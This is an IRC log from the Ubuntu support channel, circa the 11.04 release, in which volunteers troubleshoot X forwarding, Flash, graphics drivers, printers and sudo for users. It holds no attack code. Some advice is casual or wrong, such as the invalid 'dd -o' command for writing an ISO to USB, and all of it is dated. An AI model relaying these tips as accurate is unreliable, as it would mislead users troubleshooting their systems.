[09:27] <ubottu> novaria_fajar: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[09:28] <Angelo_abe> sje2: from a linux server
[09:28] <sje2> Angelo_abe: i mean, like, how are you connecting to it?
[09:28] <sje2> remote desktop?  ssh?
[09:28] <DJones> novaria_fajar: You might be better asking that in #ubuntu-offtopic as its not strictly a support question, the offtopic channel is probably better for discussions like that
[09:28] <Angelo_abe> like I did yesterday with DISPLAY:myIP:0 application
[09:29] <sje2> d_atharva: like the iso file?
[09:29] <shcherbak> Angelo_abe: Can you post /etc/ssh/ssh_config from you lappy on paste.ubuntu.com ?
[09:29] <sje2> d_atharva: maybe you can try remastersys...
[09:30] <shcherbak> Angelo_abe: And if you mess with sshd_conf on your server, please revert it.
[09:30] <ben42> hi, i don't see the sudo group in the "user sttings" -> advanced -> "user priviledge" window
[09:30] <Angelo_abe> http://paste.ubuntu.com/603153/
[09:30] <ben42> how should i add a sudo priviledge to a user ?
[09:30] <Angelo_abe> I changed the ForwardX11 to yes, but that did not help
[09:30] <shcherbak> ben42: admin group gouvern sudo rights
[09:31] <Angelo_abe> @sjcherbak, I cannot change the server
[09:31] <bp0> I went back to maverick and my nvidia problem is solved. even though it is the same version of the driver
[09:31] <shcherbak> Angelo_abe: Do you use -Y or -X switch (not sure it do matter)?
[09:31] <sje2> d_atharva: you still there?
[09:31] <Angelo_abe> no i don't, I also did not use it before I switched to 11.04
[09:32] <d_atharva> ya .But i dont want all the installed softwares also to be copied.only the updates
[09:32] <amybunny> Im using Firefox 4.0.1 for Ubuntu Canonical - 1.0, and it seems to be crashing and it crashes (firefox turns grey) after navigating a page or two. Any idea how I can fix this?
[09:33] <Angelo_abe> it has something to do with my computer not allowing to accept the export display, but on 10.04 I had a graphical interface to accept this , but I don't find it in 11.04
[09:33] <sje2> d_atharva: I'm not sure that makes sense
[09:33] <sje2> the updates are the updated softwaer
[09:33] <ben42> shcherbak, <user> is not in the sudoers file.  This incident will be reported.
[09:34] <ben42> shcherbak, groups -> adm dialout cdrom plugdev lpadmin sambashare
[09:34] <shcherbak> Angelo_abe: For the moment, my conf to compare (working but 10.10): http://paste.ubuntu.com/603158/
[09:35] <johnm> rename u1304498075UKwNI derrick_paul_fb
[09:35] <johnm> save
[09:35] <shcherbak> Angelo_abe: Only trusted differ.
[09:35] <Angelo_abe> shcherbak: indeed, that will do the trick?
[09:35] <zvacet> d_atharva: you will install same ubuntu version?
[09:36] <Angelo_abe> sherbak: I found this which seems very related: https://bugs.launchpad.net/ubuntu/+source/gdm/+bug/498434
[09:36] <ubottu> Ubuntu bug 498434 in gdm (Ubuntu) "No graphical way to allow TCP logins to Xserver in gdmsetup. No alternate method documented." [Wishlist,New]
[09:36] <shcherbak> Angelo_abe: As far as I know, I have reinstalled one system to get X forwarding work ;)
[09:37] <Angelo_abe> ubottu: yes, that might be my issue, I will need to create the custom.conf file?
[09:37] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[09:37] <zvacet> !aptoncd | d_atharva
[09:37] <ubottu> d_atharva: APTonCD is a tool with a graphical interface which allows you to create one or more CDs or DVDs with all of the packages you've downloaded via apt-get or aptitude, creating a removable repository that you can use on other computers - See also !offline
[09:38] <sje2> he doesnt want all the packages, zvacet, just the important ones
[09:38] <Angelo_abe> shcherbak: I just reinstalled it and it is not working since :D
[09:39] <faryshta> Is there any good tutorial for aircrack?
[09:39] <Angelo_abe> shcherbak, I created the file and will perform a restart of gdm to see if this helped me
[09:39] <zvacet> sje2: well,I was thinking that he want save updates
[09:39] <bison> can anyone help me
[09:40] <mysteriousdarren> bison: what do you need?
[09:40] <defswork> anyone know what the plans are for unity ? will we be able to have pullout/popout lists on the launcher bar etc..
[09:40] <bison> mysteriousdarren: i did an update and after reboot, my system is not working anymore, i can see a glimps of the flash screen and it went black with a flickering scree, dark to light dark
[09:41] <SinnerNyx> Trying to make a script run on startup (not for a particular user but for all users). I don't know how to make a startup job.
[09:41] <defswork> SinnerNyx, call it from /etc/rc.local
[09:41] <mysteriousdarren> bison: so no login screen? or anything like that?
[09:42] <SinnerNyx> defswork: really? that easy? thanks, I'll try that now
[09:42] <bison> mysteriousdarren: nothing, just black screen
[09:42] <defswork> you want it to run at boot up or at login ?
[09:42] <mysteriousdarren> so from the time of bootup a couple flickers of light and then darkness?
[09:42] <amybunny> hmm... with firefox broken for the moment, what's another good web browser?
[09:42] <li> wo
[09:43] <Angelo_abe> shcherbak: after the restart my issue is resolved! thanks for the inputs
[09:43] <shcherbak> Angelo_abe: Thanks
[09:43] <mysteriousdarren> just switch to a older kernel, I had the same problem till I did that.
[09:43] <li> who can tell me the gesture    of    ubuntu ?
[09:43] <mysteriousdarren> gesture?
[09:44] <bison> mysteriousdarren: ya, from bootup
[09:44] <veovis> In 11.04, when you click on the sound icon in the system tray, and you see album art and song info, as well as controls, is there a way to add ratings, say, under the controls?
[09:44] <faryshta> bison, there is only one thing coming to mind all this time long.
[09:44] <starZ> misteriousdarren: any other suggestion?
[09:44] <faryshta> bison, use the liveCD and check if your files are still there.
[09:44] <shcherbak> li: \o/ ???
[09:44] <SLruan> how to mount ntfs by root password???
[09:44] <SLruan> how to mount ntfs by root's password in kde??????????????
[09:44] <SLruan> how to mount ntfs by root's password in kde?????????????
[09:44] <faryshta> bison, then try to make a back up on them. Re install the all system, try to use /home in a separate partition.
[09:44] <SinnerNyx> defswork: Thanks for the help. I have no means of testing if it works right now. I didn't think it would be that easy. I'll be back if I have any more problems.
[09:45] <mysteriousdarren> hmmm...well that worked for me, I do not know a workaround at this time.
[09:45] <sje> !spam | SLruan
[09:45] <bison> faryshta: all files are still intact
[09:45] <li> feature?
[09:45] <syockit> Yay, I got back to Ubuntu after long years. Quick question: any changes to Xorg regarding how it reads Xft settings? I still can't set DPI to what I want even though I already have the Xft.dpi entry in ~/.Xresources
[09:45] <faryshta> bison, if you wanna try my idea I can help you step by step.
[09:45] <uberfrau> hey guys, flash is giving me problems (little or large squares over view window or buttons), what can i do about it?
[09:45] <syockit> Err I mean fontconfig
[09:45] <Starminn> SLruan: Ask in #kubuntu
[09:45] <SLruan> ??
[09:45] <li> 3d desk
[09:45] <SLruan> thank you
[09:45] <faryshta> bison, do you have an external hard drive or something to create a back up?
[09:45] <mysteriousdarren> SLruan: slow down and ask nicely. We are more than happy to take time.
[09:45] <bison> faryshta: there a lots of applications
[09:45] <SinnerNyx> defworks: it's the setterm commands. I'd like it to run at bootup, but I think that it's unlikely to work unless a user is actually logged in
[09:45] <Starminn> mysteriousdarren: Eh, he's using KDE anyway so... If he doesn't get an answer then we'll try. :)
[09:46] <bison> faryshta: and how about my settings
[09:46] <bison> faryshta: plugins and some tweaking
[09:46] <SinnerNyx> defswork: it's the setterm commands. I'd like it to run at bootup, but I think that it's unlikely to work unless a user is actually logged in
[09:46] <mysteriousdarren> Starminn: what do you think? ideas?
[09:46] <grind> 2nd display wont work properly on one of my login accounts, where should i start looking?
[09:47] <mysteriousdarren> could be a older driver...
[09:47] <Axlin> uberfrau: i was having that problem as well. 64 bit ubuntu installation?
[09:47] <defswork> SinnerNyx, add something to /etc/profile them
[09:47] <uberfrau> yes Axlin
[09:47] <defswork> then*
[09:47] <faryshta> bison, all gone. Let me find if there is a script to save the programs you have installed and reinstall them again.
[09:47] <bison> faryshta: so you mean to say that i have to re install the whole system?
[09:48] <zvacet> bison: back up home and etc I think that is enough
[09:48] <SinnerNyx> defswork: so wait. is rc.local on bootup?
[09:48] <visionofarun> had to install g++multilib package
[09:48] <faryshta> bison, if you put /home on a separate folder then settings are restored after reinstalls.
[09:48] <visionofarun> thanks to apt-cache
[09:48] <faryshta> bison, that is the only think **I** can think maybe there is another way to fix this.
[09:48] <defswork> SinnerNyx, rc.local gets called from the normal init.d bootup regime
[09:48] <ben42> when i log at root from a user terminal and i want to start a graphical app (as root so) is ther something to do ? because i get errors : ...connection->initialization_error == NULL...
[09:48] <zvacet> bison:  do you have any valuable files if you do back them up too
[09:48] <ben42> as*
[09:49] <Axlin> uberfrau: yeah, i don't have an explanation for you, but it has something to do with firefox + the latest 32 bit flash plugin. i fixed it with a FF extension called flash-aid. you can either disable "npviewer tweak for 64b system with 32b plugin" or use have flash-aid download the latest 64 bit flahs preview. it'll also keep it up to date
[09:49] <Axlin> either solution worked for me
[09:49] <defswork> SinnerNyx, /etc/profile gets run each time a user logs in (to a shell - not into X)
[09:49] <bison> faryshta: docs and settings
[09:49] <uberfrau> so i should just go get t his 'flash-aid'? is it ff4 compatible? :/
[09:49] <SinnerNyx> defswork: I'm sure you can guess i'm an Ubuntu newb. I'm trying to disable the screen blanking in Ubuntu Server
[09:49] <Axlin> yes uberfrau
[09:49] <bison> faryshta: is there an other way to fix it?
[09:49] <welloong> test
[09:49] <uberfrau> k, going to try that then, Axlin, brb =)
[09:49] <zvacet> bison: doc and settings are in home
[09:49] <Charbel> hi, why i don't have visual effects in system>preferences>appearance !?
[09:50] <SinnerNyx> defswork: So I have no idea about init.d bootup regimes :S
[09:50] <uberfrau> update your graphics card drivers, Charbel :D
[09:50] <blueonyx> hi, i just branched a bzr repo from lp which says i should run ./configure, but there is only a configure.ac, what to do?
[09:50] <faryshta> bison, I don't know. I can't think on any other way.
[09:51] <kim0> Hi, for installing on macbookpro7.1 do I need the +mac iso, or normal one ? also 32 or 64 bits ?
[09:51] <faryshta> bison, try www.reddit.com/r/linux4noobs its a very active comunity.
[09:51] <amd> а где русский канал есть убунты?
[09:51] <rchavik> hi guys.. in the process of upgrade 10.10 to 11.04 using alternate CD.    now the "Distribution Upgrade" dialogs hung on: "Setting up nvidia-common".  what should i do?
[09:51] <brubelsabs> I installed mozplugger to view pdfs inside firefox, but /etc/mozpluggerrc is missing, and it does not work, beside dpkg -L mozplugger tells me that it is contained within the mozplugger package..
[09:51] <DJones> !ru | amd
[09:51] <ubottu> amd: Пожалуйста посетите #ubuntu-ru для получения помощи на русском языке  / Pozhalujsta posetite /join #ubuntu-ru dlya polucheniya pomoshi na russkom yazyke
[09:51] <brubelsabs> using 10.010
[09:52] <defswork> SinnerNyx, you need something in global xsession or similar
[09:52] <uberfrau> blueonyx, are hidden files shown by any chance?
[09:52] <syockit> a gde russkii kanal est ubunt?
[09:52] <FuzzyFox0> hey all
[09:53] <syockit> poshaluista posetitye #ubuntu-ru dlya polutseniya argh I give up reading that
[09:53] <FuzzyFox0> I am looking for a command to list all printers on the network with their IP addresses
[09:53] <bison> faryshta: how about fixing the xorg?
[09:53] <bison> faryshta: or grub loader maybe
[09:54] <faryshta> bison, ask on reddit, they might help you on finding if xorg is the problem.
[09:55] <faryshta> bison, does grub start? Can you access your system on shell mode? If those answers are yes then the problem is in xorg.
[09:55] <uberfrau> err, Axlin, idk how to look at add-ons with ff4 :/
[09:56] <uberfrau> nvm, found it
[09:56] <brubelsabs> to my original question: Its a known bug: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/766512
[09:56] <ubottu> Ubuntu bug 766512 in apparmor (Ubuntu) "Apparmor prevents the use of mozplugger" [Undecided,New]
[09:56] <uberfrau> is now a subsection of a search, lame
[09:57] <AziaBurgi> ok i need help with this grub thing
[09:57] <crlcan81> ok that was annoying..
[09:57] <faryshta> bison, can you access grub?
[09:58] <bison> faryshta: how
[09:58] <FuzzyFox0> anyone? list all networked printers?
[09:58] <shcherbak> FuzzyFox0: nast will list lan, but do not distingish printers
[09:59] <bison> faryshta: what is the command?
[09:59] <FuzzyFox0> shcherbak: can it distinguish if port 9100 is open?
[10:00] <shcherbak> FuzzyFox0: Oh, use nmap
[10:01] <Glowball> https://bugs.launchpad.net/ubuntu/+source/linux/+bug/760131 <-- Is this bug important enough to be fixed in Natty or will it only be fixed in Oneiric? I'm on a laptop with a not so fantastic battery, so it really is keeping me from updating...
[10:01] <ubottu> Ubuntu bug 760131 in linux (Ubuntu Oneiric) "Power consumption raised significantly in natty" [High,Confirmed]
[10:01] <FuzzyFox0> shcherbak: any thing more specific? Im not the most tech user however I can get my head round most things
[10:01] <faryshta> reboot your computer, after the bios loads push F8 (or one of those)
[10:01] <faryshta> bison,
[10:01] <defswork> FuzzyFox0, listing networked printers is usually via network device discovery
[10:01] <uberfrau> Axlin: i ran the script after downloading it, and it doesn't seem to have solved my problem. You stated that there is a "npviewer tweak for 64b system with 32b plugin" option, but i do not see it...
[10:01] <faryshta> bison, then you should see a list of boot options.
[10:01] <defswork> FuzzyFox0, hpnp or lpr printers won't show though
[10:02] <bison> faryshta: ya, i can see the options
[10:02] <faryshta> bison, then you must choose the option to load on shell.
[10:02] <FuzzyFox0> defswork: some show but not all
[10:02] <Axlin> it's under tweaking options uberfrau
[10:02] <FuzzyFox0> defswork: most of the printers here use IPP so I need their ips :P
[10:02] <faryshta> bison, its probably the second option.
[10:02] <defswork> port scanning to find printers shows that somewhere you aren't managing your network properly
[10:02] <bison> faryshta: recovery mode?
[10:02] <Axlin> uberfrau: and if it doesn't work, i know of a couple people including myself that have had success with the 64 bit flash preview
[10:02] <faryshta> bison, yes, then you must see a ton of commands, after a while will ask you to log in.
[10:03] <uberfrau> oh i see it now, sorry for overlooking it. what does it do though?
[10:03] <blueonyx> uberfrau: what do you mean?
[10:03] <rchavik> hi guys.. in the process of upgrade 10.10 to 11.04 using alternate CD.    now the "Distribution Upgrade" dialogs hung on: "Setting up nvidia-common".  what should i do? help..
[10:03] <blueonyx> uberfrau: there is nothing special hidden, just .bzrignore and .bzr
[10:03] <bison> faryshta: i already re configure the graphics
[10:03] <bison> still no luck
[10:04] <uberfrau> . = hidden, just making sure you knew that
[10:04] <uberfrau> =)
[10:04] <faryshta> Well but we at least now know where is the problem.
[10:04] <blueonyx> uberfrau: normally i know how to compile, but i'm not into autoconf
[10:04] <faryshta> bison, I am not knowledged at xorg so I can't help you any further :(
[10:04] <bison> faryshta: i review the the log and seeo screen something wrong, no n
[10:05] <uberfrau> blueonyx, idk about your specific issue, sorry buddy :o
[10:06] <blueonyx> xD
[10:06] <bison> faryshta: its ok...i understand, im still hoping that solution will be given to me rather than install the system all over again
[10:06] <celthunder> bison: still having issues?
[10:06] <blueonyx> .oO(ah running autoconf generates a configure script)
[10:06] <bison> celthunder: same issues
[10:06] <faryshta> bison, I seriously recommend reddit for that. Here people seem very unattentive.
[10:06] <uberfrau> Axlin, disabling that setting fixed it, thank you very much for pointing me to that add-on
[10:06] <celthunder> bison: did the open source drivers help?
[10:06] <Ajc1> do we know how quickly a fix will be found for the nVidia issue: addiitonal drivers / the driver is activated but not currently in use ... ?  thx
[10:06] <Axlin> cool, np uberfrau
[10:06] <cheater_> hi guys
[10:06] <bison> celthunder: i cant login
[10:06] <uberfrau> wait Axlin
[10:06] <uberfrau> now no sound...
[10:07] <uberfrau> wtf lol
[10:07] <cheater_> how do i find out who the maintainer of a specific package is?
[10:07] <bison> celthunder: black screen
[10:07] <celthunder> bison: ? i thought you could get to a terminal?
[10:07] <Axlin> well... that's bad
[10:07] <bison> celthunder: dunno what to type
[10:07] <celthunder> bison: i'd start with lsmod find your video drivers and modprobe -r them
[10:08] <celthunder> bison: i'd then apt-cache search nvidia and find the open source ones and install them
[10:08] <bison> celthunder: asking for a login in terminal
[10:08] <celthunder> yeah...so login?
[10:09] <bison> celthunder: login as root
[10:09] <bison> celthunder: user@desktop login: ?
[10:10] <celthunder> bison: ? login as your user and sudo su -
[10:10] <bison> celthunder: password?
[10:10] <AziaBurgi> guys I got this error yesterday: http://i51.tinypic.com/2cz8t5g.jpg
[10:10] <celthunder> bison: if you don't know your own usernames password then you deserve to get screwed over
[10:11] <uberfrau> err Axlin, i disabled that plugin but youtube still doesn't work...what do
[10:11] <uberfrau> video runs, audio doesn't
[10:11] <toggles> AziaBurgi: generally trying to mount wrong partition
[10:11] <xmaz> AziaBurgi: is your ubuntu ran as a virtual machine?
[10:11] <AziaBurgi> no
[10:11] <bison> celthunder: -bash: etc/profile: permission denied
[10:12] <faryshta> uberfrau, I don't have flash installed I prefer deturl and add ons to download the youtube videos. Maybe you can give it a try.
[10:12] <chrisbster> bison: Are you new to Linux?
[10:12] <xmaz> I had this issue, what i did to repair is was, checking the disk.
[10:12] <AziaBurgi> toggles: any suggestions on fixing that?
[10:12] <celthunder> bison: ??????? what does that have todo with anything set a .bash_profile if you want it has nothing to do with your X issue
[10:12] <uberfrau> i just want flash to work, it's too important x.x
[10:12] <bison> chrisbster: yes sir
[10:13] <Axlin> uberfrau: you can restore the original version of flash with the flash plugin in software center. first you might want to try the 64 bit plugin if you haven't though, unless that's the one giving you issues
[10:13] <celthunder> uberfrau: you on 64 bit or 32?
[10:13] <bison> celthunder: ok...sorry, i already type lsmod
[10:13] <NET||abuse> hey there folks, i'm using 10.10 on my netbook in gnome, and i can't get keyboard shortcut for tomboy to work, alt+F12 is set in the tomboy preferences, and in ngnome keyboard shortcuts there's no conflicting setting i can find.
[10:13] <faryshta> uberfrau, not actually :) you won't miss it after a while.
[10:13] <uberfrau> my computer is 64, and i'm pretty sure i installed 64 as well
[10:13] <NET||abuse> but it just does nothing.
[10:13] <Axlin> uberfrau: i have to head to bed though. i'll let others take over. sorry i couldn't get you to a final solution, good luck :)
[10:13] <celthunder> bison: find your video modules and modprobe -r them
[10:13] <Furai`> Hello.
[10:14] <uberfrau> Axlin, is okay as long as i get sound back -_-
[10:14] <celthunder> uberfrau: make a 32 bit chroot if 64 bit flash fails (which it does) and install it in that
[10:14] <ben42> i installed xchat on ubuntu 11.4 with unity but now i can't get it back from the dock because it goes in the inexisting system tray
[10:14] <chrisbster> bison: sudo is what we use to change the system in any way. It stands for super user. Usually, it has the same password as your user account.
[10:14] <celthunder> uberfrau: then you get your 64 bit system with the 32 bit flash
[10:14] <uberfrau> celthunder: i have no idea how to do that ._.
[10:15] <Arney> This bloody <blue message envolope> is stuck in my status bar. Empathy caused it, but it won't remove it even when I click on it.
[10:15] <cretsiah> is there an anti-virus i can install in ubuntu10.10 to examine windows hd's?
[10:15] <astropirate> Anyone have any luck with setting up gnome-shell with Natty? I can't stand Unity
[10:15] <kevinyoung> hi all
[10:15] <bison> chrisbster: ok copy that. tnx
[10:15] <aaaaaaaaaaaaaaaa> hi
[10:15] <bp0> uberfrau, there is a firefox extension called flash-aid that will install the best possible flash setup and clean up a little
[10:15] <bp0> uberfrau, thats what you should use
[10:15] <dvbuser> Question: why does different versions of Ubuntu supply different versions of Unison in synaptic package manager?
[10:15] <uberfrau> bp0, that's what i installed, it killed my sound
[10:16] <bp0> uberfrau, it killed your sound in flash?
[10:16] <uberfrau> yes
[10:16] <uberfrau> youtube :/
[10:16] <bison> chrisbster: agpgart
[10:16] <faryshta> uberfrau, it killed your entire system sound or the flash sound?
[10:16] <bp0> uberfrau, what version of flash did it install? (about:plugins)
[10:16] <rchavik> upgrade 10.10 to 11.04, process hung. now i killed the nvidia-detector process, upgrade continues, and now stuck when creating grub.cfg.   please help
[10:17] <Starminn> cretsiah: Avast! and ClamAV are popular choices.
[10:17] <uberfrau> bp0:    Shockwave Flash 10.3 d162
[10:17] <Starminn> cretsiah: Avast! is also nice on Windows, so if you have a dual-boot you could always use the same on both. ;)
[10:17] <bison> how to use modprobe
[10:17] <celthunder> bp0: and flash-aid is better than finding the one that works yourself how?
[10:18] <jgould> How do you install{ a kernel on a partiton without booting on that partition?
[10:18] <celthunder> bp0: j/w....i generally view stuff like that....badly
[10:18] <celthunder> bison: modprobe -r <module>
[10:18] <kevinyoung> on ubuntu use what to replace the photoshop to make photo
[10:18] <cretsiah> ty Starminn
[10:18] <kevinyoung> please?
[10:18] <elky> kevinyoung, gimp
[10:18] <jgould> kevinyoung: Gimp
[10:19] <kevinyoung> o
[10:19] <bp0> celthunder, its magic and i've had only good results
[10:19] <celthunder> jgould: can just compile it there, or chroot to it
[10:19] <alphamale> how can i install ubuntu on a usb from puppy linux
[10:19] <kevinyoung> think you
[10:19] <alphamale> i have the iso and a usb partition
[10:19] <Starminn> cretsiah: You're welcome. By the way, most people with Linux for a while use ClamAV. I used Avast! but it stopped working on me, so ClamAV is the "cool kid" in Linux world. Try both though and see what suits you.
[10:19] <alexUnder> is there anyway to create a custom command (word) to run a specific executable in a location? example "sudo program" to run "~/myapps/Cool/program" ??? is this what softlinking is? :/
[10:19] <kevinyoung> gimp is same to photoshop
[10:19] <Starminn> alexUnder: Or making an alias?
[10:19] <celthunder> alphamale: dd -o <iso> <usb> that'll put the iso on your usb drive so you can install from it
[10:19] <jgould> I have .debs for the new kernel.  I've been bitten by the bug that affects the i915 chipset
[10:20] <alexUnder> Starminn:  how? :/
[10:20] <alphamale> ?
[10:20] <chrisbster> I have a challenge for the collective wisdom of the group. I have a machine I want to dual boot with. It's a 2 TB HD. I've done dual boots before, and never run into issues, but this is different for me. I try the install or Live of Ubuntu 10.10 or 10.04 and it won't show my partitions, it just shows free space. I tried GParted and nothing. I can mount the NTFS partition and can read/write files just fine, but nothing. I was hoping the gur
[10:20] <chrisbster> u's might have some suggestions. :-0
[10:20] <bp0> uberfrau, thats the version i've got and no sound probles, I'm on maverick (10.10) Firefox 4, amd64
[10:20] <alexUnder> Starminn @ im not sure what i need for this >_<
[10:20] <uberfrau> faryshta: it disabled my headphones...
[10:20] <alphamale> i can copy the iso onto the usb no problem
[10:20] <Starminn> alexUnder: I've never messed with them. Just throwing out some suggestions to help with your search while you wait for somebody who can answer you properly.
[10:20] <alphamale> but how do i install
[10:20] <AziaBurgi> does anyone have any suggestions on how to proceed? i have booted from a live cd
[10:20] <cretsiah> might try clamav first.... system was working fine ..... now its slow from the bootup bios screen :/
[10:20] <faryshta> How safe it is to install my root folder / on a SD card?
[10:20] <uberfrau> god damn it -_-
[10:20] <brubelsabs> posted workaround which at least solved the issue on my box: https://bugs.launchpad.net/ubuntu/+source/apparmor/+bug/766512
[10:20] <celthunder> chrisbster: do they show up in fdisk?
[10:20] <ubottu> Ubuntu bug 766512 in apparmor (Ubuntu) "Apparmor prevents the use of mozplugger" [Undecided,New]
[10:21] <celthunder> faryshta: not very...
[10:21] <alexUnder> Starminn @ okie, thnx. im gonna g00gle it =)
[10:21] <chrisbster> celthunder: yup
[10:21] <uberfrau> how the hell did installing flash-aid disable my headphones???!?
[10:21] <Starminn> alexUnder: Best of luck to you.
[10:21] <faryshta> uberfrau, then the problem isn't in flash, its in your system settings.
[10:21] <celthunder> chrisbster: so use that to partition instead of the crap default partitioner?
[10:21] <celthunder> chrisbster: then mount your drives and skip that step
[10:21] <uberfrau> oh? where then? it resulted *from* running the flash-aid script ;/
[10:22] <alphamale> sorry i am not getting it celthunder
[10:22] <astropirate> Anyone have any luck with setting up gnome-shell with Natty? I can't stand Unity
[10:22] <cretsiah> ubuntu10.10 doesnt seem to like big file transfers + xchat + software center all at the same time with only 2gig ram :(
[10:22] <bp0> uberfrau, restart pulse, or log in and out, maybe
[10:22] <bison> celthunder: i can't dot it, maybe i'll just re install the whole system :(
[10:22] <bp0> er, out and in
[10:22] <uberfrau> idk how to restart pulse :/
[10:22] <celthunder> bison: ? how's that goign to help
[10:22] <chrisbster> celthunder: huh...yeah...it makes more since to do it that way. i've been trying to f*ck with the GUIs, but yeah... Duh...
[10:23] <jgould> can I unpack the  .debs and manually copy the files to where they go on teh boot partition
[10:23] <uberfrau> oh wait
[10:23] <uberfrau> i think i fixed it
[10:23] <uberfrau> went into pavucontrol and toggled on headphones
[10:23] <pippopippo> hy, how to set the preserve parameter (-p of copy) in nautilus
[10:23] <uberfrau> why did it toggle it off to begin with, though? :(
[10:23] <bison> celthunder: i can't understand some of your terms
[10:23] <celthunder> jgould: you can set --prefix to somewhere other than root would probably be better
[10:23] <shcherbak> jgould: Rather not.
[10:23] <bison> celthunder: like module?
[10:24] <bison> celthunder: i already type lsmod, there are list
[10:24] <chrisbster> bison: I wasn't here for a description of your error, what's going on?
[10:24] <celthunder> bison: yeah those are your loaded kernel modules
[10:24] <rchavik> *sigh*, this is going to destroy my install
[10:24] <celthunder> chrisbster: he's got X issues i told him to use the open source drivers
[10:24] <jgould> There has to be an easier way to install a kernel on a machine that wont' boot using the generic kernel....
[10:24] <chrisbster> celthunder: ah. Gotcha.
[10:25] <uberfrau> thanks for the help, fixed my problem
[10:25] <celthunder> chrisbster: and he can't apparently find the nvidia proprietary drivers to get rid of first...meh if he reinstalls hes just gonna end up in the same place
[10:25] <uberfrau> though i dislike solving one problem and then having to solve another to have the same functionality as before
[10:25] <alphamale> can i just make a new menu entry in my grub file?
[10:25] <bison> celthunder: :(
[10:26] <tripelb> I want to copy a dvd to my hard drive. How do I do that?
[10:26] <chrisbster> celthunder: Where have we been looking for the drivers?
[10:26] <celthunder> chrisbster: lsmod lol
[10:26] <tripelb> I want to return the original and still be able to play it.
[10:26] <Starminn> tripelb: Open the DVD and drag-and-drop all the files ot where you want.
[10:26] <celthunder> chrisbster: where else would you look
[10:26] <Starminn> tripelb: Oh..
[10:26] <celthunder> chrisbster: lsmod modprobe -r them and modprobe up the right ones
[10:26] <celthunder> chrisbster: unless you have a better way
[10:26] <Starminn> tripelb: We can't discuss that. :(
[10:27] <bison> celthunder: after typing lsmod
[10:27] <bison> celthunder: there ist
[10:27] <bison> celthunder: there are list
[10:28] <chrisbster> celthunder: I was thinking about finding them file structure wise and wiping out the NVIDIA files, but you're correct, lsmod seems like the way to go, since that wouldn't change the dependency files.
[10:28] <celthunder> tripelb: vobcopy poweriso or cdrkit
[10:28] <bison> celthunder: i can see agpgart
[10:28] <celthunder> bison: pastebin the list
[10:29] <cretsiah> tripelb thats considered illegal in most countries
[10:29] <bison> celthunder: how? im on the terminal console (alt+F1)
[10:29] <celthunder> chrisbster: it also saves from having to reinstall the proprietary ones if they aren't the issue
[10:30] <amr_> hi
[10:30] <chrisbster> celthunder: couldn't we just do, sudo apt-get --purge remove
[10:30] <amr_> im a newbie
[10:30] <amr_> :D
[10:30] <gabryatfendor> hi, looking for help with the new ubuntu release
[10:30] <gabryatfendor> i installed it yesterday, but it's very slow and choppy
[10:30] <cretsiah> does any1 know how some1 can hack a browser to create a chat?? it happened to me yesterday now my system is clapped out
[10:30] <celthunder> bison: wgetpaste or curlpaste (you may have to install them with apt-get install)
[10:30] <ikonia> celthunder: that is offtopic here
[10:31] <celthunder> chrisbster: i don't want him to uninstall them though just unload them
[10:31] <ikonia> celthunder: sorry - not you
[10:31] <ikonia> cretsiah: that is offtopic here
[10:31] <van7hu> hello, is there a way improving the speed of hibernate?
[10:31] <faryshta> celthunder, I doubt he can paste bin something from shell.
[10:31] <Starminn> faryshta: I was thinking the same, haha.
[10:31] <celthunder> faryshta: it's like 530 am and i'm on like no sleep again...give me a break
[10:31] <celthunder> :)
[10:32] <chrisbster> van7hu: Only if you're willing to work on conditionally throwing out some info
[10:32] <shcherbak> cretsiah: what site (in /msg)
[10:32] <chrisbster> van7hu: Hibernate literally takes everything in active memory and writes it out to the HD.
[10:32] <shcherbak> cretsiah: Oh, and what browser?
[10:32] <Feyisayo> I'm dual-booting windows and Natty. But when I try to boot to Natty my display is messed up and I see coloured lines and I can't go further. Can anyone help?
[10:33] <faryshta> celthunder, I just found that funny not trying to be offensive at all.
[10:33] <van7hu> chrisbster: windows seven is more faster, I just wonders about ubuntu
[10:33] <chrisbster> van7hu: The information in Ubuntu utilizes meory differently
[10:34] <chrisbster> memory*
[10:34] <bison> celthunder: sudo: can't open /etc/sudoers: permission denied
[10:34] <robin0800> Feyisayo, try to log out and choose classic you may have to reboot
[10:34] <chrisbster> van7hu: What I mean is, Ubuntu usually loads more stuff into memory for us to speed up system response time
[10:34] <celthunder> bison: ?  sudo su - type in your user passwrod then type passwd set a root password and then type apt-get install one of the two packages
[10:35] <van7hu> chrisbster: I see, thanks
[10:35] <celthunder> van7hu: chrisbster you can increase hibernate speed...depending on other factors though
[10:35]  * jgould finds a wall and beats his head into it
[10:36] <celthunder> van7hu: chrisbster you can suspend to ram instead of hdd for instance...
[10:36] <Rehan> I'm trying to copy an image of my ubuntu install to my USB flash drive. How can I make it so that there's a GRUB install on the usb flash drive too after I use dd to copy it over? Thank you very much.
[10:36] <faryshta> van7hu, W7 is a cheater on booting matters. It loads the graphic enviroments first.
[10:36] <chrisbster> van7hu: Correct, you could go and find/code something that will conditionally not save certain things in memory and that should speed up response time
[10:37] <chrisbster> celthunder: Can you? I always thought that DDR3 lost information when it lost power.
[10:37] <whatisthat> Is there a way to keep things like a clock screenlet above the Video window even in fullscreen mode?
[10:38] <celthunder> chrisbster: it does
[10:38] <MohammadAG> Is there a way to reinstall all gnome-applets that I should have in Ubuntu classic? I had to delete them all from config and I only have the app launcher left
[10:38] <celthunder> chrisbster: van7hu you combine suspend to disk with suspend to ram....
[10:38] <celthunder> chrisbster: van7hu that way it goes fast and if you lose power completely it's ok
[10:39] <chrisbster> celthunder: But isn't that like sleeping, but hibernating at the same time?
[10:39] <celthunder> chrisbster: something like that...benefits of both
[10:39] <Feyisayo> robin0800, I can't log in because of the messed up display
[10:40] <whatisthat>  Is there a way to keep things like a clock screenlet above the Video window even in fullscreen mode?
[10:40] <chrisbster> celthunder: I'm honestly not following how that could go faster when we have to do more file operations. it's also late, and I'm kinda slow
[10:41] <Tiktalik> yay! the chat's dead
[10:41] <celthunder> chrisbster: is he trying to increase hibernate shutdown or power up
[10:42] <chrisbster> celthunder: Speed up shutdown
[10:42] <celthunder> bison: still there?
[10:42] <sachin> anyone knows how to add thunderbird to me menu of ubuntu
[10:42] <Rehan> I'm trying to copy an image of my ubuntu install to my USB flash drive. How can I make it so that there's a GRUB install on the usb flash drive too after I use dd to copy it over? Thank you very much.
[10:42] <celthunder> chrisbster: nvm then lol i misread the first line
